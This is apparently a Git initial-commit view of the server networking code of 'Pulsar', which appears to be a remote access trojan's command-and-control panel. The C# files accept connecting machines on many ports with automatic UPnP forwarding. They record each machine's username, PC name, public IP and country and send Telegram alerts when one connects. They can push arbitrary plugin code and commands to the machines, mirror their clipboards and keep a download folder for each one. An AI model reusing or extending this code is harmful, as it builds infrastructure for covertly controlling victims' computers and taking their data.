initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
+511
View File
@@ -0,0 +1,511 @@
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Forms;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
namespace Pulsar.Server.Networking
{
public class Client : IEquatable<Client>, ISender
{
/// <summary>
/// Occurs as a result of an unrecoverable issue with the client.
/// </summary>
public event ClientFailEventHandler ClientFail;
/// <summary>
/// Represents a method that will handle failure of the client.
/// </summary>
/// <param name="s">The client that has failed.</param>
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
public delegate void ClientFailEventHandler(Client s, Exception ex);
/// <summary>
/// Fires an event that informs subscribers that the client has failed.
/// </summary>
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
private void OnClientFail(Exception ex)
{
var handler = ClientFail;
handler?.Invoke(this, ex);
}
/// <summary>
/// Occurs when the state of the client changes.
/// </summary>
public event ClientStateEventHandler ClientState;
/// <summary>
/// Represents the method that will handle a change in a client's state.
/// </summary>
/// <param name="s">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
public delegate void ClientStateEventHandler(Client s, bool connected);
/// <summary>
/// Fires an event that informs subscribers that the state of the client has changed.
/// </summary>
/// <param name="connected">The new connection state of the client.</param>
private void OnClientState(bool connected)
{
if (Connected == connected) return;
Connected = connected;
var handler = ClientState;
handler?.Invoke(this, connected);
if (connected)
{
}
}
/// <summary>
/// Occurs when a message is received from the client.
/// </summary>
public event ClientReadEventHandler ClientRead;
/// <summary>
/// Represents the method that will handle a message received from the client.
/// </summary>
/// <param name="s">The client that has received the message.</param>
/// <param name="message">The message that received by the client.</param>
/// <param name="messageLength">The length of the message.</param>
public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
/// <summary>
/// Fires an event that informs subscribers that a message has been
/// received from the client.
/// </summary>
/// <param name="message">The message that received by the client.</param>
/// <param name="messageLength">The length of the message.</param>
private void OnClientRead(IMessage message, int messageLength)
{
Debug.WriteLine($"[SERVER] Received packet: {message.GetType().Name} (Length: {messageLength} bytes) from {EndPoint}");
var handler = ClientRead;
handler?.Invoke(this, message, messageLength);
}
public static bool operator ==(Client c1, Client c2)
{
if (ReferenceEquals(c1, null))
return ReferenceEquals(c2, null);
return c1.Equals(c2);
}
public static bool operator !=(Client c1, Client c2)
{
return !(c1 == c2);
}
/// <summary>
/// Checks whether the clients are equal.
/// </summary>
/// <param name="other">Client to compare with.</param>
/// <returns>True if equal, else False.</returns>
public bool Equals(Client other)
{
if (ReferenceEquals(null, other)) return false;
if (ReferenceEquals(this, other)) return true;
try
{
// the port is always unique for each client
return this.EndPoint.Port.Equals(other.EndPoint.Port);
}
catch (Exception)
{
return false;
}
}
public override bool Equals(object obj)
{
return this.Equals(obj as Client);
}
/// <summary>
/// Returns the hashcode for this instance.
/// </summary>
/// <returns>A hash code for the current instance.</returns>
public override int GetHashCode()
{
return this.EndPoint.GetHashCode();
}
/// <summary>
/// The stream used for communication.
/// </summary>
private Stream _stream;
private readonly X509Certificate2 _serverCertificate;
private readonly bool _encryptTraffic;
readonly object _readMessageLock = new object();
readonly object _sendMessageLock = new object();
readonly object _proxyClientsLock = new object();
/// <summary>
/// The buffer for the client's incoming payload.
/// </summary>
private byte[] _readBuffer;
/// <summary>
/// The queue which holds messages to send.
/// </summary>
private readonly ConcurrentQueue<IMessage> _sendBuffers = new ConcurrentQueue<IMessage>();
/// <summary>
/// Determines if the client is currently sending messages.
/// </summary>
private int _sendingMessagesFlag;
// Receive info
private int _readOffset;
private int _readLength;
/// <summary>
/// The time when the client connected.
/// </summary>
public DateTime ConnectedTime { get; }
/// <summary>
/// The connection state of the client.
/// </summary>
public bool Connected { get; private set; }
/// <summary>
/// Determines if the client is identified.
/// </summary>
public bool Identified { get; set; }
/// <summary>
/// Stores values of the user.
/// </summary>
public UserState Value { get; set; }
/// <summary>
/// Indicates whether this client currently allows clipboard mirroring to the server host.
/// </summary>
public bool ClipboardSyncEnabled { get; set; }
/// <summary>
/// The Endpoint which the client is connected to.
/// </summary>
public IPEndPoint EndPoint { get; }
/// <summary>
/// The header size in bytes.
/// </summary>
private const int HEADER_SIZE = 4; // 4 B
public Client(Stream stream, IPEndPoint endPoint, X509Certificate2 serverCertificate)
{
try
{
Identified = false;
Value = new UserState();
EndPoint = endPoint;
ConnectedTime = DateTime.UtcNow;
_stream = stream ?? throw new ArgumentNullException(nameof(stream));
_serverCertificate = serverCertificate ?? throw new ArgumentNullException(nameof(serverCertificate));
#if DEBUG
var certificateUsable = SecureMessageEnvelopeHelper.CanUse(_serverCertificate);
var enforceEncryptionFlag = Environment.GetEnvironmentVariable("PULSAR_DEBUG_ENFORCE_ENCRYPTION");
var enforceEncryption = !string.IsNullOrWhiteSpace(enforceEncryptionFlag)
&& (enforceEncryptionFlag.Equals("1", StringComparison.OrdinalIgnoreCase)
|| enforceEncryptionFlag.Equals("true", StringComparison.OrdinalIgnoreCase)
|| enforceEncryptionFlag.Equals("yes", StringComparison.OrdinalIgnoreCase));
if (enforceEncryption && certificateUsable)
{
_encryptTraffic = true;
Debug.WriteLine("[SERVER] Debug build: encryption enforced via PULSAR_DEBUG_ENFORCE_ENCRYPTION.");
}
else
{
_encryptTraffic = false;
if (!certificateUsable)
{
Debug.WriteLine("[SERVER] Debug build: server certificate unavailable, running without encryption.");
}
else
{
var logMessage = enforceEncryption
? "[SERVER] Debug build: encryption enforcement requested but certificate cannot be used; continuing without encryption."
: "[SERVER] Debug build: encryption disabled by default for development.";
Debug.WriteLine(logMessage);
}
}
#else
_encryptTraffic = SecureMessageEnvelopeHelper.CanUse(_serverCertificate);
if (!_encryptTraffic)
{
throw new InvalidOperationException("A valid server certificate is required for secure communication.");
}
#endif
_readBuffer = new byte[HEADER_SIZE];
_readOffset = 0;
_readLength = HEADER_SIZE;
_stream.BeginRead(_readBuffer, _readOffset, _readBuffer.Length, AsyncReceive, null);
OnClientState(true);
}
catch (Exception ex)
{
Disconnect();
OnClientFail(ex);
}
}
private void AsyncReceive(IAsyncResult result)
{
try
{
if (_stream == null)
{
return;
}
var bytesRead = _stream.EndRead(result);
if (bytesRead <= 0)
throw new Exception("no bytes transferred");
lock (_readMessageLock)
{
_readOffset += bytesRead;
_readLength -= bytesRead;
if (_readLength == 0)
{
if (_readBuffer.Length == HEADER_SIZE)
{
var length = BitConverter.ToInt32(_readBuffer, 0);
if (length <= 0)
throw new InvalidDataException("Invalid message length.");
_readBuffer = new byte[length];
_readOffset = 0;
_readLength = length;
}
else
{
try
{
var message = PulsarMessagePackSerializer.Deserialize(_readBuffer);
message = ProcessIncomingMessage(message);
OnClientRead(message, _readBuffer.Length);
}
finally
{
_readBuffer = new byte[HEADER_SIZE];
_readOffset = 0;
_readLength = HEADER_SIZE;
}
}
}
}
if (_stream != null)
{
ThreadPool.QueueUserWorkItem(_ =>
{
try
{
if (_stream != null)
{
_stream.BeginRead(_readBuffer, _readOffset, _readLength, AsyncReceive, result.AsyncState);
}
}
catch (Exception ex)
{
Disconnect();
OnClientFail(ex);
}
});
}
}
catch (Exception ex)
{
Disconnect();
OnClientFail(ex);
}
}
/// <summary>
/// Sends a message to the connected client.
/// </summary>
/// <typeparam name="T">The type of the message.</typeparam>
/// <param name="message">The message to be sent.</param>
public void Send<T>(T message) where T : IMessage
{
if (!Connected || message == null) return;
_sendBuffers.Enqueue(message);
if (Interlocked.Exchange(ref _sendingMessagesFlag, 1) == 0)
{
ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
}
}
/// <summary>
/// Sends a message to the connected client.
/// Blocks the thread until the message has been sent.
/// </summary>
/// <typeparam name="T">The type of the message.</typeparam>
/// <param name="message">The message to be sent.</param>
public void SendBlocking<T>(T message) where T : IMessage
{
if (!Connected || message == null) return;
SafeSendMessage(message);
}
/// <summary>
/// Safely sends a message and prevents multiple simultaneous
/// write operations on the <see cref="_stream"/>.
/// </summary>
/// <param name="message">The message to send.</param>
private void SafeSendMessage(IMessage message)
{
try
{
lock (_sendMessageLock)
{
if (_stream == null)
{
return;
}
var prepared = PrepareMessageForSend(message);
if (prepared == null)
{
return;
}
var payload = PulsarMessagePackSerializer.Serialize(prepared);
int totalLength = HEADER_SIZE + payload.Length;
var buffer = System.Buffers.ArrayPool<byte>.Shared.Rent(totalLength);
try
{
System.Buffers.Binary.BinaryPrimitives.WriteInt32LittleEndian(new Span<byte>(buffer, 0, HEADER_SIZE), payload.Length);
Buffer.BlockCopy(payload, 0, buffer, HEADER_SIZE, payload.Length);
_stream.Write(buffer, 0, totalLength);
}
finally
{
System.Buffers.ArrayPool<byte>.Shared.Return(buffer, clearArray: false);
}
}
}
catch
{
Disconnect();
}
}
private void ProcessSendBuffers(object state)
{
while (true)
{
if (!Connected)
{
SendCleanup(true);
return;
}
if (!_sendBuffers.TryDequeue(out var message))
{
SendCleanup();
return;
}
SafeSendMessage(message);
}
}
private void SendCleanup(bool clear = false)
{
Interlocked.Exchange(ref _sendingMessagesFlag, 0);
if (clear)
{
while (_sendBuffers.TryDequeue(out _)) ;
}
}
private IMessage PrepareMessageForSend(IMessage message)
{
if (message == null)
{
return null;
}
if (message is SecureMessageEnvelope)
{
return message;
}
if (!_encryptTraffic)
{
return message;
}
if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate))
{
throw new InvalidOperationException("Secure transport is enabled but the server certificate is unavailable.");
}
return SecureMessageEnvelopeHelper.Wrap(message, _serverCertificate);
}
private IMessage ProcessIncomingMessage(IMessage message)
{
if (message is SecureMessageEnvelope secureEnvelope)
{
if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate))
{
throw new InvalidOperationException("Received a secure envelope but the server certificate is unavailable for decryption.");
}
return SecureMessageEnvelopeHelper.Unwrap(secureEnvelope, _serverCertificate);
}
if (_encryptTraffic)
{
throw new InvalidOperationException($"Received unexpected plaintext message of type {message?.GetType().Name} while encryption is enforced.");
}
return message;
}
/// <summary>
/// Disconnect the client from the server and dispose of
/// resources associated with the client.
/// </summary>
public void Disconnect()
{
if (_stream != null)
{
_stream.Dispose();
_stream = null;
}
_readBuffer = new byte[HEADER_SIZE];
_readOffset = 0;
_readLength = HEADER_SIZE;
SendCleanup(true);
OnClientState(false);
}
}
}
+207
View File
@@ -0,0 +1,207 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using System;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using Pulsar.Common.Networking;
using System.Threading;
using System.Threading.Tasks;
using Pulsar.Server.TelegramSender;
using System.Security.Cryptography;
using Pulsar.Common.Cryptography;
using System.Text;
namespace Pulsar.Server.Networking
{
public class PulsarServer : Server
{
/// <summary>
/// Gets the clients currently connected and identified to the server.
/// </summary>
public Client[] ConnectedClients
{
get { return Clients.Where(c => c != null && c.Identified).ToArray(); }
}
/// <summary>
/// Occurs when a client connected.
/// </summary>
public event ClientConnectedEventHandler ClientConnected;
/// <summary>
/// Represents the method that will handle the connected client.
/// </summary>
/// <param name="client">The connected client.</param>
public delegate void ClientConnectedEventHandler(Client client);
/// <summary>
/// Fires an event that informs subscribers that the client is connected.
/// </summary>
/// <param name="client">The connected client.</param>
private void OnClientConnected(Client client)
{
if (ProcessingDisconnect || !Listening) return;
if (Models.Settings.TelegramNotifications)
{
Task.Run(() => Send.SendConnectionMessage(
Models.Settings.TelegramBotToken,
Models.Settings.TelegramChatID,
client.Value.Username,
client.Value.PublicIP ?? "Unknown",
client.Value.Country
));
}
var handler = ClientConnected;
handler?.Invoke(client);
}
/// <summary>
/// Occurs when a client disconnected.
/// </summary>
public event ClientDisconnectedEventHandler ClientDisconnected;
/// <summary>
/// Represents the method that will handle the disconnected client.
/// </summary>
/// <param name="client">The disconnected client.</param>
public delegate void ClientDisconnectedEventHandler(Client client);
/// <summary>
/// Fires an event that informs subscribers that the client is disconnected.
/// </summary>
/// <param name="client">The disconnected client.</param>
private void OnClientDisconnected(Client client)
{
if (ProcessingDisconnect || !Listening) return;
var handler = ClientDisconnected;
handler?.Invoke(client);
}
/// <summary>
/// Constructor, initializes required objects and subscribes to events of the server.
/// </summary>
/// <param name="serverCertificate">The server certificate.</param>
public PulsarServer(X509Certificate2 serverCertificate) : base(serverCertificate)
{
base.ClientState += OnClientState;
base.ClientRead += OnClientRead;
}
/// <summary>
/// Decides if the client connected or disconnected.
/// </summary>
/// <param name="server">The server the client is connected to.</param>
/// <param name="client">The client which changed its state.</param>
/// <param name="connected">True if the client connected, false if disconnected.</param>
private void OnClientState(Server server, Client client, bool connected)
{
if (!connected)
{
if (client.Identified)
{
OnClientDisconnected(client);
}
}
}
/// <summary>
/// Forwards received messages from the client to the MessageHandler.
/// </summary>
/// <param name="server">The server the client is connected to.</param>
/// <param name="client">The client which has received the message.</param>
/// <param name="message">The received message.</param>
private void OnClientRead(Server server, Client client, IMessage message)
{
if (!client.Identified)
{
if (message.GetType() == typeof(ClientIdentification))
{
client.Identified = IdentifyClient(client, (ClientIdentification)message);
if (client.Identified)
{
var response = new ClientIdentificationResult { Result = true };
client.Send(response); // finish handshake
OnClientConnected(client);
}
else
{
// identification failed
client.Disconnect();
}
}
else
{
// no messages of other types are allowed as long as client is in unidentified state
client.Disconnect();
}
return;
}
if (IsHighPriorityMessage(message))
{
MessageHandler.Process(client, message);
}
else
{
ThreadPool.QueueUserWorkItem(_ =>
{
try
{
MessageHandler.Process(client, message);
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine($"Message processing error: {ex.Message}");
}
});
}
}
private bool IsHighPriorityMessage(IMessage message)
{
return message is ClientIdentificationResult;
}
private bool IdentifyClient(Client client, ClientIdentification packet)
{
if (packet.Id.Length != 64)
return false;
client.Value.Version = packet.Version;
client.Value.OperatingSystem = packet.OperatingSystem;
client.Value.AccountType = packet.AccountType;
client.Value.Country = packet.Country;
client.Value.CountryCode = packet.CountryCode;
client.Value.Id = packet.Id;
client.Value.Username = packet.Username;
client.Value.PcName = packet.PcName;
client.Value.Tag = packet.Tag;
client.Value.ImageIndex = packet.ImageIndex;
client.Value.EncryptionKey = packet.EncryptionKey;
client.Value.PublicIP = packet.PublicIP;
// TODO: Refactor tooltip
//if (Settings.ShowToolTip)
// client.Send(new GetSystemInfo());
#if !DEBUG
try
{
using (var rsa = ServerCertificate.GetRSAPublicKey())
{
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey));
return rsa.VerifyHash(hash, packet.Signature, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
}
}
catch (Exception)
{
return false;
}
#else
return true;
#endif
}
}
}
+34
View File
@@ -0,0 +1,34 @@
using System;
using Pulsar.Common.Messages;
namespace Pulsar.Server.Networking
{
public static class PushSender
{
public static void LoadUniversalPlugin(Client client, string pluginId, byte[] pluginBytes, byte[] initData, string typeName, string methodName)
{
if (client == null || pluginBytes == null || pluginBytes.Length == 0) return;
client.Send(new DoLoadUniversalPlugin
{
PluginId = pluginId,
PluginBytes = pluginBytes,
InitData = initData,
TypeName = typeName,
MethodName = methodName
});
}
public static void ExecuteUniversalCommand(Client client, string pluginId, string command, byte[] parameters)
{
if (client == null) return;
client.Send(new DoExecuteUniversalCommand
{
PluginId = pluginId,
Command = command,
Parameters = parameters
});
}
}
}
+546
View File
@@ -0,0 +1,546 @@
using Pulsar.Common.Extensions;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Forms;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Windows.Forms;
namespace Pulsar.Server.Networking
{
public class Server
{
/// <summary>
/// Occurs when the state of the server changes.
/// </summary>
public event ServerStateEventHandler ServerState;
/// <summary>
/// Represents a method that will handle a change in the server's state.
/// </summary>
/// <param name="s">The server which changed its state.</param>
/// <param name="listening">The new listening state of the server.</param>
/// <param name="port">The port the server is listening on, if listening is True.</param>
public delegate void ServerStateEventHandler(Server s, bool listening, ushort port);
/// <summary>
/// Fires an event that informs subscribers that the server has changed it's state.
/// </summary>
/// <param name="listening">The new listening state of the server.</param>
private void OnServerState(bool listening)
{
if (Listening == listening) return;
Listening = listening;
var handler = ServerState;
handler?.Invoke(this, listening, Port);
}
/// <summary>
/// Occurs when the state of a client changes.
/// </summary>
public event ClientStateEventHandler ClientState;
/// <summary>
/// Represents a method that will handle a change in a client's state.
/// </summary>
/// <param name="s">The server, the client is connected to.</param>
/// <param name="c">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
public delegate void ClientStateEventHandler(Server s, Client c, bool connected);
/// <summary>
/// Fires an event that informs subscribers that a client has changed its state.
/// </summary>
/// <param name="c">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
private void OnClientState(Client c, bool connected)
{
if (!connected)
RemoveClient(c);
var handler = ClientState;
handler?.Invoke(this, c, connected);
}
/// <summary>
/// Occurs when a message is received by a client.
/// </summary>
public event ClientReadEventHandler ClientRead;
/// <summary>
/// Represents a method that will handle a message received from a client.
/// </summary>
/// <param name="s">The server, the client is connected to.</param>
/// <param name="c">The client that has received the message.</param>
/// <param name="message">The message that received by the client.</param>
public delegate void ClientReadEventHandler(Server s, Client c, IMessage message);
/// <summary>
/// Fires an event that informs subscribers that a message has been
/// received from the client.
/// </summary>
/// <param name="c">The client that has received the message.</param>
/// <param name="message">The message that received by the client.</param>
/// <param name="messageLength">The length of the message.</param>
private void OnClientRead(Client c, IMessage message, int messageLength)
{
BytesReceived += messageLength;
var handler = ClientRead;
handler?.Invoke(this, c, message);
}
/// <summary>
/// Occurs when a message is sent by a client.
/// </summary>
public event ClientWriteEventHandler ClientWrite;
/// <summary>
/// Represents the method that will handle the sent message by a client.
/// </summary>
/// <param name="s">The server, the client is connected to.</param>
/// <param name="c">The client that has sent the message.</param>
/// <param name="message">The message that has been sent by the client.</param>
public delegate void ClientWriteEventHandler(Server s, Client c, IMessage message);
/// <summary>
/// Fires an event that informs subscribers that the client has sent a message.
/// </summary>
/// <param name="c">The client that has sent the message.</param>
/// <param name="message">The message that has been sent by the client.</param>
/// <param name="messageLength">The length of the message.</param>
private void OnClientWrite(Client c, IMessage message, int messageLength)
{
BytesSent += messageLength;
var handler = ClientWrite;
handler?.Invoke(this, c, message);
}
/// <summary>
/// The port on which the server is listening.
/// For multi-port scenarios, this is the last port that was started.
/// </summary>
public ushort Port { get; private set; }
/// <summary>
/// The total amount of received bytes.
/// </summary>
public long BytesReceived { get; set; }
/// <summary>
/// The total amount of sent bytes.
/// </summary>
public long BytesSent { get; set; }
/// <summary>
/// The keep-alive time in ms.
/// </summary>
private const uint KeepAliveTime = 25000; // 25 s
/// <summary>
/// The keep-alive interval in ms.
/// </summary>
private const uint KeepAliveInterval = 25000; // 25 s
/// <summary>
/// The listening state of the server. True if listening, else False.
/// </summary>
public bool Listening { get; private set; }
/// <summary>
/// Gets the clients currently connected to the server.
/// </summary>
protected Client[] Clients
{
get
{
lock (_clientsLock)
{
return _clients.ToArray();
}
}
}
/// <summary>
/// Gets the number of clients currently connected to the server without array allocation.
/// </summary>
public int ClientCount
{
get
{
lock (_clientsLock)
{
return _clients.Count;
}
}
}
/// <summary>
/// Handle(s) of the Server Socket(s).
/// </summary>
private readonly List<Socket> _handles = new List<Socket>();
private readonly object _handlesLock = new object();
/// <summary>
/// Accept event args, one per listening socket.
/// </summary>
private readonly Dictionary<Socket, SocketAsyncEventArgs> _acceptArgs = new Dictionary<Socket, SocketAsyncEventArgs>();
/// <summary>
/// The server certificate.
/// </summary>
protected readonly X509Certificate2 ServerCertificate;
/// <summary>
/// List of the clients connected to the server.
/// </summary>
private readonly List<Client> _clients = new List<Client>();
/// <summary>
/// The UPnP service used to create port mappings per port.
/// </summary>
private readonly Dictionary<ushort, UPnPService> _upnpByPort = new Dictionary<ushort, UPnPService>();
/// <summary>
/// Lock object for the list of clients.
/// </summary>
private readonly object _clientsLock = new object();
/// <summary>
/// Determines if the server is currently processing Disconnect method.
/// </summary>
protected bool ProcessingDisconnect { get; set; }
/// <summary>
/// Constructor of the server.
/// </summary>
/// <param name="serverCertificate">The server certificate.</param>
protected Server(X509Certificate2 serverCertificate)
{
ServerCertificate = serverCertificate;
}
/// <summary>
/// Updates the status strip icon for the server listening state.
/// </summary>
/// <param name="isListening">True if server is listening, false otherwise.</param>
private void UpdateServerStatusIcon(bool isListening)
{
var mainForm = GetMainFormSafe();
if (mainForm == null) return;
var iconResource = isListening
? Properties.Resources.bullet_green
: Properties.Resources.bullet_red;
try
{
if (mainForm.InvokeRequired)
{
mainForm.BeginInvoke(new Action(() => SetStatusStripIcon(mainForm, iconResource)));
}
else
{
SetStatusStripIcon(mainForm, iconResource);
}
}
catch (Exception)
{
}
}
/// <summary>
/// Safely gets the main form instance if it exists and is valid.
/// </summary>
/// <returns>The main form instance or null if not available.</returns>
private static FrmMain GetMainFormSafe()
{
var mainForm = Application.OpenForms.OfType<FrmMain>().FirstOrDefault();
return (mainForm != null && !mainForm.IsDisposed && !mainForm.Disposing) ? mainForm : null;
}
/// <summary>
/// Sets the status strip icon if the control is valid.
/// </summary>
/// <param name="mainForm">The main form instance.</param>
/// <param name="icon">The icon to set.</param>
private static void SetStatusStripIcon(FrmMain mainForm, System.Drawing.Image icon)
{
if (mainForm.statusStrip?.IsDisposed == false &&
mainForm.statusStrip.Items.ContainsKey("listenToolStripStatusLabel"))
{
mainForm.statusStrip.Items["listenToolStripStatusLabel"].Image = icon;
}
}
/// <summary>
/// Begins listening for clients on a single port.
/// </summary>
public void Listen(ushort port, bool ipv6, bool enableUPnP)
{
ListenMany(new[] { port }, ipv6, enableUPnP);
}
/// <summary>
/// Begins listening for clients on multiple ports.
/// </summary>
/// <param name="ports">Ports to listen on.</param>
/// <param name="ipv6">If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket.</param>
/// <param name="enableUPnP">Enables the automatic UPnP port forwarding for each port.</param>
public void ListenMany(IEnumerable<ushort> ports, bool ipv6, bool enableUPnP)
{
var startNow = !Listening;
foreach (var port in ports.Distinct())
{
lock (_handlesLock)
{
if (_handles.Any(h => (h.LocalEndPoint as IPEndPoint)?.Port == port))
continue;
}
Socket handle;
if (Socket.OSSupportsIPv6 && ipv6)
{
handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, 0);
handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port));
}
else
{
handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
handle.Bind(new IPEndPoint(IPAddress.Any, port));
}
handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
handle.SetSocketOption(SocketOptionLevel.Tcp, SocketOptionName.NoDelay, true);
handle.Listen(1000);
lock (_handlesLock)
{
_handles.Add(handle);
}
if (enableUPnP)
{
var upnp = new UPnPService();
_upnpByPort[port] = upnp;
upnp.CreatePortMapAsync(port);
}
var item = new SocketAsyncEventArgs();
item.Completed += AcceptClient;
_acceptArgs[handle] = item;
Port = port; // keep last started port for compatibility
if (!handle.AcceptAsync(item))
AcceptClient(handle, item);
var mainForm = GetMainFormSafe();
if (mainForm != null)
{
try
{
if (mainForm.InvokeRequired)
{
mainForm.BeginInvoke(new Action(() =>
{
try
{
mainForm.EventLog($"Started listening for connections on port: {port}", "info");
UpdateServerStatusIcon(true);
}
catch (Exception)
{
}
}));
}
else
{
mainForm.EventLog($"Started listening for connections on port: {port}", "info");
UpdateServerStatusIcon(true);
}
}
catch (Exception)
{
}
}
}
if (startNow && _handles.Count > 0)
{
OnServerState(true);
}
}
/// <summary>
/// Accepts and begins authenticating an incoming client.
/// </summary>
/// <param name="s">The listening socket.</param>
/// <param name="e">Asynchronous socket event.</param>
private void AcceptClient(object s, SocketAsyncEventArgs e)
{
var listenSocket = s as Socket;
if (listenSocket == null)
{
// Try to recover the listen socket from our map
listenSocket = _acceptArgs.Keys.FirstOrDefault();
}
try
{
do
{
switch (e.SocketError)
{
case SocketError.Success:
try
{
Socket clientSocket = e.AcceptSocket;
clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime);
clientSocket.NoDelay = true;
var networkStream = new NetworkStream(clientSocket, true);
var client = new Client(networkStream, (IPEndPoint)clientSocket.RemoteEndPoint, ServerCertificate);
AddClient(client);
OnClientState(client, true);
}
catch (Exception)
{
try
{
e.AcceptSocket?.Close();
}
catch
{
}
}
break;
case SocketError.ConnectionReset:
break;
default:
throw new SocketException((int)e.SocketError);
}
e.AcceptSocket = null; // enable reuse
} while (listenSocket != null && !listenSocket.AcceptAsync(e));
}
catch (ObjectDisposedException)
{
}
catch (Exception)
{
Disconnect();
}
}
/// <summary>
/// Adds a connected client to the list of clients,
/// subscribes to the client's events.
/// </summary>
/// <param name="client">The client to add.</param>
private void AddClient(Client client)
{
lock (_clientsLock)
{
client.ClientState += OnClientState;
client.ClientRead += OnClientRead;
_clients.Add(client);
}
}
/// <summary>
/// Removes a disconnected client from the list of clients,
/// unsubscribes from the client's events.
/// </summary>
/// <param name="client">The client to remove.</param>
private void RemoveClient(Client client)
{
if (ProcessingDisconnect) return;
lock (_clientsLock)
{
client.ClientState -= OnClientState;
client.ClientRead -= OnClientRead;
_clients.Remove(client);
}
}
/// <summary>
/// Disconnect the server from all of the clients and discontinue
/// listening (placing the server in an "off" state).
/// </summary>
public void Disconnect()
{
if (ProcessingDisconnect) return;
ProcessingDisconnect = true;
List<Socket> toClose;
lock (_handlesLock)
{
toClose = _handles.ToList();
_handles.Clear();
}
foreach (var handle in toClose)
{
try { handle.Close(); } catch { }
}
foreach (var kvp in _acceptArgs.ToList())
{
try { kvp.Value.Dispose(); } catch { }
}
_acceptArgs.Clear();
foreach (var upnpKvp in _upnpByPort.ToList())
{
try { upnpKvp.Value.DeletePortMapAsync(upnpKvp.Key); } catch { }
}
_upnpByPort.Clear();
lock (_clientsLock)
{
var clientsToDisconnect = _clients.ToList();
_clients.Clear();
foreach (var client in clientsToDisconnect)
{
try
{
client.Disconnect();
client.ClientState -= OnClientState;
client.ClientRead -= OnClientRead;
}
catch
{
}
}
}
ProcessingDisconnect = false;
OnServerState(false);
UpdateServerStatusIcon(false);
}
/// <summary>
/// Gets the ports the server is currently listening on.
/// </summary>
public ushort[] GetListeningPorts()
{
lock (_handlesLock)
{
return _handles.Select(h => (ushort)((IPEndPoint)h.LocalEndPoint).Port).ToArray();
}
}
}
}
+77
View File
@@ -0,0 +1,77 @@
using Open.Nat;
using System;
using System.Collections.Generic;
using System.Threading;
namespace Pulsar.Server.Networking
{
public class UPnPService
{
/// <summary>
/// Used to keep track of all created mappings.
/// </summary>
private readonly Dictionary<int, Mapping> _mappings = new Dictionary<int, Mapping>();
/// <summary>
/// The discovered UPnP device.
/// </summary>
private NatDevice _device;
/// <summary>
/// The NAT discoverer used to discover NAT-UPnP devices.
/// </summary>
private NatDiscoverer _discoverer;
/// <summary>
/// Initializes the discovery of new UPnP devices.
/// </summary>
public UPnPService()
{
_discoverer = new NatDiscoverer();
}
/// <summary>
/// Creates a new port mapping on the UPnP device.
/// </summary>
/// <param name="port">The port to map.</param>
public async void CreatePortMapAsync(int port)
{
try
{
var cts = new CancellationTokenSource(10000);
_device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts);
Mapping mapping = new Mapping(Protocol.Tcp, port, port);
await _device.CreatePortMapAsync(mapping);
if (_mappings.ContainsKey(mapping.PrivatePort))
_mappings[mapping.PrivatePort] = mapping;
else
_mappings.Add(mapping.PrivatePort, mapping);
}
catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException)
{
}
}
/// <summary>
/// Deletes an existing port mapping.
/// </summary>
/// <param name="port">The port mapping to delete.</param>
public async void DeletePortMapAsync(int port)
{
if (_mappings.TryGetValue(port, out var mapping))
{
try
{
await _device.DeletePortMapAsync(mapping);
_mappings.Remove(mapping.PrivatePort);
}
catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException)
{
}
}
}
}
}
+34
View File
@@ -0,0 +1,34 @@
using Pulsar.Common.Cryptography;
using Pulsar.Common.Helpers;
using System.IO;
using System.Windows.Forms;
namespace Pulsar.Server.Networking
{
public class UserState
{
private string _downloadDirectory;
private Aes256 _aesInstance;
public string Version { get; set; }
public string OperatingSystem { get; set; }
public string AccountType { get; set; }
public int ImageIndex { get; set; }
public string Country { get; set; }
public string CountryCode { get; set; }
public string Id { get; set; }
public string Username { get; set; }
public string PublicIP { get; set; }
public string PcName { get; set; }
public string UserAtPc => $"{Username}@{PcName}";
public string CountryWithCode => $"{Country} [{CountryCode}]";
public string Tag { get; set; }
public string EncryptionKey { get; set; }
public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey));
public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc))
? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\")
: Path.Combine(Application.StartupPath, $"Clients\\{Id}\\"));
}
}